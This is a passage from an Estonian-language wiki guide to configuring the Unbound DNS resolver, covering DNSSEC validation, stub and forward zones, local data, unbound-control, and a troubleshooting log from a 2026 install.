&lt;br /&gt;
* Unbound seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
  dlv-anchor-file: &amp;quot;dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
Valideeritud nimepäringu vastus näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
  $ dig www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  &lt;br /&gt;
  ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.5.1-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  ;; global options:  printcmd&lt;br /&gt;
  ;; Got answer:&lt;br /&gt;
  ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 56069&lt;br /&gt;
  ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
  &lt;br /&gt;
  ;; OPT PSEUDOSECTION:&lt;br /&gt;
  ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;www.kaminskybug.se.    IN A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  www.kaminskybug.se.     3590 IN CNAME fou.iis.se.&lt;br /&gt;
  www.kaminskybug.se.     3590 IN RRSIG CNAME 5 3 3600 20100205210001 (&lt;br /&gt;
                                  20100126210001 13358 kaminskybug.se.&lt;br /&gt;
                                  goEav1vWK49WEvGY/G1EBKOgekQk11JvjsQxE7chH6Kg&lt;br /&gt;
                                  OwZNpOXwomE1z9zvLcwkD60CQAZWC9psA1z01iIwtOrt&lt;br /&gt;
                                  Yq6L+2A0PLVAAuRYeY3CQnbHoHRYClCUz0dIkxhtz9f/&lt;br /&gt;
                                  Um1AuC3FtqV6t9q8lLb4ooav0Ex64KuwoPPxqqs= )&lt;br /&gt;
  fou.iis.se.             3590 IN A 212.247.204.242&lt;br /&gt;
  fou.iis.se.             3590 IN RRSIG A 5 3 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  BOPpSETDBKu6CjOcz2ULnOnfRVoXfOXj9OjW4zwjPuWl&lt;br /&gt;
                                  7vJ8630yXsuSEe89RuH/ZsuOGbeJnumQ/XmD6ftWL9yM&lt;br /&gt;
                                  MPUF1ZYxCtExaBcIxhxDIFJv4E4RZAOkbb9ZdYKTglIL&lt;br /&gt;
                                  zDleOOms0iVgCAnnWJSnmDpzhfvr8xoTGlh7myE= )&lt;br /&gt;
  &lt;br /&gt;
  ;; AUTHORITY SECTION:&lt;br /&gt;
  iis.se.                 3590 IN NS ns.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns3.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns2.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN RRSIG NS 5 2 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  B3SheLIv8ouVPpFGjvM8q5fl9ZMnnPWR8x9QDD0uSxoH&lt;br /&gt;
                                  iV2fYHjiKC5a2+8Znsi4zSdO2AmH+reUCP74qvYpkl1K&lt;br /&gt;
                                  +NbEzndzzrJQ0XlT1icy3MC6vdvgdE7Opqjab/7iIiYV&lt;br /&gt;
                                  X9UjZpHKR284EljSrKJ0z53/T+12P3K0VU/dRFE= )&lt;br /&gt;
   &lt;br /&gt;
  ;; Query time: 1 msec&lt;br /&gt;
  ;; SERVER: 10.53.67.69#53(10.53.67.69)&lt;br /&gt;
  ;; WHEN: Sun Jan 31 00:25:39 2010&lt;br /&gt;
  ;; MSG SIZE  rcvd: 648&lt;br /&gt;
&lt;br /&gt;
kus ad lipp annab tunnistust, et vastus on valideeritud&lt;br /&gt;
&lt;br /&gt;
  flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
====Firefox DNSSEC lisa kasutamine====&lt;br /&gt;
&lt;br /&gt;
Firefox DNSSEC lisa https://addons.mozilla.org/en-us/firefox/addon/dnssec-validator/ abil saab brauseri kasutamise ajal tagasisidet kuidas käesolev nimi on lahendatud, nt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Unbound-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Seejuures tuleb arvestada, et DNSSEC iseenest tähendab, et nimi lahendes turvaliselt, järgneva andmevahetuse turvalisus on eraldi küsimus ja nt https:// on üks viis selle saavutamiseks.&lt;br /&gt;
&lt;br /&gt;
===domain-insecure tsoonid===&lt;br /&gt;
&lt;br /&gt;
Kui kasutatakse signeeritud tsoonifailiga juurnimeservereid ning mõnele lokaalsele mitte-dnssec nimeserverile viitavaid stub-zone sissekandeid, siis võib olla asjakohane kasutada lisaks ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;auul&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Lokaalsed nimekirjeldused===&lt;br /&gt;
&lt;br /&gt;
Lisaks sellele, et Unboundi kasutab nimede lahendamisel võrgus töötavaid autoriteetseid nimeservereid, saab kirjeldada seadistusfailis päri- ja pöördteisendusi&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;loomaaed.tartu.ee&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;loomaaed.tartu.ee A 192.168.10.100&amp;quot;&lt;br /&gt;
 ..&lt;br /&gt;
 local-data-ptr: &amp;quot;192.168.10.100 loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* local-zone - lokaalselt unboundis kirjeldatud tsooni nimi&lt;br /&gt;
* static - sellel positsioonil st type parameeter määrab põhiliselt, kuidas mitte kirjeldatud nime küsimisele vastatakse&lt;br /&gt;
* local-data - päriteisendus&lt;br /&gt;
* local-data-prt - pöördteisendus&lt;br /&gt;
&lt;br /&gt;
type väärtused&lt;br /&gt;
&lt;br /&gt;
* static - local-data abil mitte kirjeldatud nime küsimisele vastatakse NXDOMAIN&lt;br /&gt;
* nodefault - AS112 tsoonide puhul vastab Unbound vaikimisi NXDOMAIN vastusega, nodefault puhul püütakse vastavaid nimesid lahendada&lt;br /&gt;
* transparent - local-data abil mitte kirjeldatud nimi püütakse lahenada internetist, stub-zone abil vms viisil&lt;br /&gt;
* redirect - kõik alamdomeenid vastatakse local-data abil näidatud väärtusega&lt;br /&gt;
&lt;br /&gt;
===Stub tsoon===&lt;br /&gt;
&lt;br /&gt;
Stub tsooni abil saab öelda, millist pädevat nimeserverit kasutada mõne domeeni nimelahenduseks. Praktiliselt võiks seda vaja minna kui asutuses on nt kasutusel mitte-avalik pädev nimeserver ja domeeni 'auul.' nimede lahendamiseks tuleks kasutada seda; vastasel korral püüaks Unbound neid nimesid lahendada pöördudes interneti juurnimeserverite poole.&lt;br /&gt;
&lt;br /&gt;
Seadistusfailis kirjeldatakse stub tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;auul&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeni nimi&lt;br /&gt;
* stub-addr - domeeni pädeva nimeserveri ip aadress&lt;br /&gt;
* stub sõna viitab asjaolule, et Unbound saab näidatud nimeserverilt otse vastuse kätte&lt;br /&gt;
&lt;br /&gt;
Kui stub-zone abil on vaja teha mõne privaatsete aadressidega /24 subneti jaoks pöördteisendusi, siis tuleb tõenäoliselt kasutada koostöös selliseid direktiive&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;1.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 local-zone: &amp;quot;2.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 ....&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
   name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
   stub-addr: 192.168.1.247&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
  name: &amp;quot;10.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Oluline on panna tähele, et korrektsel juhul lahendatakse kirjeldatud tsoonid stub-addr nimeserveri poolt, muud privaatsed aadressid saavad vastuseks (vastuse genereerib Unbound ise)&lt;br /&gt;
&lt;br /&gt;
 $ dig -x 192.168.5.5&lt;br /&gt;
 .. &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 1480&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.      IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   10800   IN      SOA     localhost. nobody.invalid. 1 3600 1200 604800 10800&lt;br /&gt;
&lt;br /&gt;
Kui vastus on, siis midagi on valesti, sest Unbound on seda käinud internetis lahendamas&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.     IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   86400   IN      SOA     prisoner.iana.org. hostmaster.trex.fi. 1 604800 86400 2419200 86400&lt;br /&gt;
&lt;br /&gt;
===Forward tsoon===&lt;br /&gt;
&lt;br /&gt;
Forward tsooni abil saab öelda, millist rekursiivset nimeserverit kasutada mõne domeeni nimelahenduseks. Seadistusfailis kirjeldatakse forward tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;loomla.tartu.ee&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeninimi&lt;br /&gt;
* forward-addr - rekursiivse nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
Selleks, et suunata kõik päringud lahendamiseks edasi sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;.&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
===AS112 tsoonid===&lt;br /&gt;
&lt;br /&gt;
AS112 tsoonide hulka kuuluvad sellised pöördteisenduse tsoonid, vaikimisi vastab AS112 tsooni tehtud päringutele Unbound NXDOMAIN (põhjusel, et sisemiste arvutite poolt tehtud pöördteisenduspäringud ei jõuaks avalikku võrku)&lt;br /&gt;
&lt;br /&gt;
* 10.in-addr.arpa&lt;br /&gt;
* 16.172.in-addr.arpa&lt;br /&gt;
* ...&lt;br /&gt;
* 31.172.in-addr.arpa&lt;br /&gt;
* 168.192.in-addr.arpa&lt;br /&gt;
* 254.169.in-addr.arpa&lt;br /&gt;
* 2.0.192.in-addr.arpa&lt;br /&gt;
* 100.51.198.in-addr.arpa&lt;br /&gt;
* 113.0.203.in-addr.arpa&lt;br /&gt;
&lt;br /&gt;
Lisaks lahendab Unbound vaikimisi mõlemas suunas localhost - 127.0.0.1 teisendust justkui oleks kirjeldatud (sarnaselt on kirjeldatud ka IPv6 ::1)&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;localhost.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN A 127.0.0.1&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN AAAA ::1&lt;br /&gt;
 ..&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;127.in-addr.arpa.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;1.0.0.127.in-addr.arpa. 10800 IN PTR localhost.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Selleks, et asutuse lokaalses autoriteetses nimeserveris kirjeldatud privaatsete aadresside pöördteisendused töötaksid tuleb kirjeldada vastava tsooni jaoks local-zone väärtusega nodefault&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
    ...&lt;br /&gt;
    local-zone: &amp;quot;168.192.in-addr.arpa.&amp;quot; nodefault&lt;br /&gt;
    &lt;br /&gt;
ning nt 192.168.1 võrgu puhul näidata pädeva nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
===Jõudlus===&lt;br /&gt;
&lt;br /&gt;
* Unbound oskab kasutada mitut protsessorit ja nö keskpärasel riistvaral suudab teenidada kümneid tuhandeid päringuid sekundis.&lt;br /&gt;
* Unbound on 2-3 korda kiirem kui Bind.&lt;br /&gt;
&lt;br /&gt;
===Klientprogrammi unbound-host kasutamine===&lt;br /&gt;
&lt;br /&gt;
Klientprogramm unbound-host võimaldab nt kontrollida, kas nimelahenduse valideerimine töötab&lt;br /&gt;
&lt;br /&gt;
  # unbound-host -C unbound.conf -t A -v www.kaminskybug.se &lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 0: validator&lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 1: iterator&lt;br /&gt;
  www.kaminskybug.se is an alias for fou.iis.se. (secure)&lt;br /&gt;
  fou.iis.se has address 212.247.204.242 (secure)&lt;br /&gt;
&lt;br /&gt;
===Haldusprogramm unbound-control===&lt;br /&gt;
&lt;br /&gt;
Haldusprogrammiga unbound-control saab juhtida Unbound resolveri tööd ja küsida statistikat. Kuna unbound-control võimaldab resolveri töötamist oluliselt mõjutada, nt laadida cache sisu tekstifailist või resolveri seisata, siis peab hoolega jälgima, et unbound-control kasutamisele oleks seatud vajalikud piirangud.&lt;br /&gt;
&lt;br /&gt;
====Unbound resolveri ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
unbound-control suhtleb Unbound serveriga vaikimisi üle 953/tcp pordi. Osaliste autentimiseks kasutatakse avaliku-võtme tehnikat, vajalike võtmete genereerimiseks sobib kasutada unbound-control-setup utiliiti&lt;br /&gt;
&lt;br /&gt;
 # unbound-control-setup&lt;br /&gt;
 ... &lt;br /&gt;
 Signature ok&lt;br /&gt;
 subject=/CN=unbound-control&lt;br /&gt;
 Getting CA Private Key&lt;br /&gt;
 Setup success. Certificates created. Enable in unbound.conf file to use&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /var/unbound/etc kataloogi neli võtit, kask serveri ja kaks kliendi jaoks&lt;br /&gt;
&lt;br /&gt;
  unbound_control.key&lt;br /&gt;
  unbound_control.pem&lt;br /&gt;
  unbound_server.key&lt;br /&gt;
  unbound_server.pem&lt;br /&gt;
&lt;br /&gt;
unbound-control kasutamiseks tuleb vastav funktsionaalsus Unbound serveris sisse lülitada nt sektsiooniga&lt;br /&gt;
&lt;br /&gt;
  remote-control:&lt;br /&gt;
        control-enable: yes&lt;br /&gt;
        control-interface: 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
====unbound-control kasutamine====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi kasutab unbound-control Unbound serveri seadistusfaili, nt sobib alustuseks kasutada unbound serverit ja unbound-control utiliiti samas arvutis.&lt;br /&gt;
&lt;br /&gt;
* Unbound resolveri oleku küsimine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control status             &lt;br /&gt;
  version: 1.3.0&lt;br /&gt;
  verbosity: 1&lt;br /&gt;
  threads: 1&lt;br /&gt;
  modules: 2 [ validator iterator ]&lt;br /&gt;
  uptime: 1184 seconds&lt;br /&gt;
  unbound (pid 23298) is running...&lt;br /&gt;
&lt;br /&gt;
* Resolveri cacheist tsooni loomaaed.tartu.ee andmete kustutamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control flush_zone loomaaed.tartu.ee&lt;br /&gt;
  ok removed 3 rrsets, 2 messages and 0 key entries&lt;br /&gt;
&lt;br /&gt;
* Cache sisu esitamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control dump_cache&lt;br /&gt;
&lt;br /&gt;
====Resolveri kasutusstatistika====&lt;br /&gt;
&lt;br /&gt;
Üks unbound-control kasutusjuht on koguda resolveri kasutusstatistikat&lt;br /&gt;
&lt;br /&gt;
  # unbound-control stats_noreset&lt;br /&gt;
&lt;br /&gt;
Praktiliselt on seda sobiv automatiseerida Munin või Cacti tarkvaraga, mida on kirjeldatud aadressil http://www.unbound.net/documentation/howto_statistics.html.&lt;br /&gt;
&lt;br /&gt;
===Unbound ja NSD protsessid samas arvutis===&lt;br /&gt;
&lt;br /&gt;
Unbound seadistusfailis sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.org&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.org&amp;quot; &lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
&lt;br /&gt;
===IPv6 kasutamine===&lt;br /&gt;
&lt;br /&gt;
IPv6 kasutamiseks tuleb seadistusfailis näidata, millisel IPv6 aadressil protsess kuulab&lt;br /&gt;
&lt;br /&gt;
 interface: 2001:1530:90:11:192::53&lt;br /&gt;
&lt;br /&gt;
ning lubada asjakohastest võrkudest teenuse poole pöörduda, nt&lt;br /&gt;
 &lt;br /&gt;
 access-control: fd99::/64 allow&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb arvestada seda, et nimepäringute lahendamiseks kasutab Unbound ise IPv4 ja IPv6 võrku.&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - dns rebinding protection====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* private-address ja private-domain kasutamine toimub koostöös&lt;br /&gt;
* private-address määratleb, mida peetakse antud kasutusjuhtumil silmas privaatsete aadresside all&lt;br /&gt;
* private-domain loetleb domeenide nimed, mille alla kuuluvad kirjed võivad lahenduda privaatseteks aadressideks&lt;br /&gt;
&lt;br /&gt;
* üks unbound protssess saab tegeleda ainult ühe komplekti domeenide ja ühe komplekti privaatsete aadressidega&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - in-addr.arpa information leak protection====&lt;br /&gt;
&lt;br /&gt;
* vaikimisi ei saada unbound as112/rfc1918 hulka kuuluvaid dns nimesid (nt 4.3.2.10.in-addr.arpa ptr kirje küsimust) edasi lahendamisele&lt;br /&gt;
* neid pole mõtet kuhugi lahendamisele saata, sest 1. isp forwarder nimeserver ei tea neid, 2. in-addr.arpa nimeserver ei tea neid&lt;br /&gt;
* väga tõsist otsest rünnet ei saa selliste päringute välja minemisest korraldada, aga tekib asjatu võrguliiklus ja võimalik, et sisemiste võrguaadressite nö tahtmatu disclosure&lt;br /&gt;
* local-zone abil saab teha erandeid mainitud as112 nimede lahenduses&lt;br /&gt;
* nende erandite vastuseid lahendab unbound ise, või saadab mõnele selleks ettevalmistatud lokaalsele pädevale nimeserverile lahendamiseks&lt;br /&gt;
&lt;br /&gt;
local-zone erandi tegemine 168.192.in-addr.arpa jaoks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
local-zone: &amp;quot;168.192.in-addr.arpa&amp;quot; transparent&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
  stub-addr: 10.192.0.53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dns rebinding protection on vaikimisi välja lülitatud, st private-address ja private-domain väärtused on tühjad, kasutamine toimub nt selliselt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
private-address: &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Takerdub&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install unbound&lt;br /&gt;
root@arv:~# apt-get install unbound&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound-anchor&lt;br /&gt;
The following NEW packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound unbound-anchor&lt;br /&gt;
0 upgraded, 5 newly installed, 0 to remove and 49 not upgraded.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Setting up unbound (1.6.7-1ubuntu2.6+esm4) ...&lt;br /&gt;
Created symlink /etc/systemd/system/multi-user.target.wants/unbound.service → /lib/systemd/system/unbound.service.&lt;br /&gt;
Created symlink /etc/systemd/system/unbound.service.wants/unbound-resolvconf.service → /lib/systemd/system/unbound-resolvconf.service.&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
invoke-rc.d: initscript unbound, action &amp;quot;start&amp;quot; failed.&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (auto-restart) (Result: exit-code) since Tue 2026-06-16 11:21:17 EEST; 9ms ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 5650 ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS (code=exited, status=1/FAILURE)&lt;br /&gt;
  Process: 5304 ExecStartPre=/usr/lib/unbound/package-helper root_trust_anchor_update (code=exited, status=0/SUCCESS)&lt;br /&gt;
  Process: 5301 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
 Main PID: 5650 (code=exited, status=1/FAILURE)&lt;br /&gt;
Processing triggers for libc-bin (2.27-3ubuntu1.6+esm6) ...&lt;br /&gt;
Processing triggers for systemd (237-3ubuntu10.57+esm3) ...&lt;br /&gt;
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...&lt;br /&gt;
&lt;br /&gt;
root      5304  0.0  0.0   4636   896 ?        Ss   11:20   0:00 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
unbound   5307  0.0  0.0  34596  7820 ?        S    11:20   0:00  \_ /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# systemctl status unbound&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (start-pre) since Tue 2026-06-16 11:33:15 EEST; 38s ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 12287 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
Cntrl PID: 12290 (package-helper)&lt;br /&gt;
    Tasks: 2 (limit: 4915)&lt;br /&gt;
   CGroup: /system.slice/unbound.service&lt;br /&gt;
           ├─12290 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
           └─12293 /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&lt;br /&gt;
Jun 16 11:33:15 arv.auul.pri.ee systemd[1]: Starting Unbound DNS server...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lahenduse koht&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# head -n 10 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
&lt;br /&gt;
root@arv:~# head -n 20 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
RESOLVCONF=&amp;quot;true&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_UPDATE=&amp;quot;true&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ -f /etc/default/unbound ]; then&lt;br /&gt;
    . /etc/default/unbound&lt;br /&gt;
&lt;br /&gt;
    case &amp;quot;x$RESOLVCONF&amp;quot; in xfalse|x0|xno)&lt;br /&gt;
        RESOLVCONF=&amp;quot;false&amp;quot;&lt;br /&gt;
        ;;&lt;br /&gt;
    esac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
t&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
server:&lt;br /&gt;
    interface: 127.0.0.1&lt;br /&gt;
    port: 53&lt;br /&gt;
    do-ip4: yes&lt;br /&gt;
    do-ip6: no&lt;br /&gt;
&lt;br /&gt;
    access-control: 127.0.0.1/32 allow&lt;br /&gt;
    module-config: &amp;quot;iterator&amp;quot;&lt;br /&gt;
    verbosity: 1&lt;br /&gt;
    use-syslog: yes&lt;br /&gt;
    log-queries: yes&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;xxx.ee&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.111&lt;br /&gt;
&lt;br /&gt;
forward-zone:&lt;br /&gt;
  name: &amp;quot;.&amp;quot;&lt;br /&gt;
  forward-addr: 10.0.9.4&lt;br /&gt;
  forward-addr: 10.0.9.5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://unbound.net/&lt;br /&gt;
* http://unbound.nlnetlabs.nl/pipermail/unbound-users/&lt;br /&gt;
* http://www.howtoforge.com/installing-using-unbound-nameserver-on-debian-etch&lt;br /&gt;
* http://www.nlnetlabs.nl/publications/dnssec_howto/index.html&lt;br /&gt;
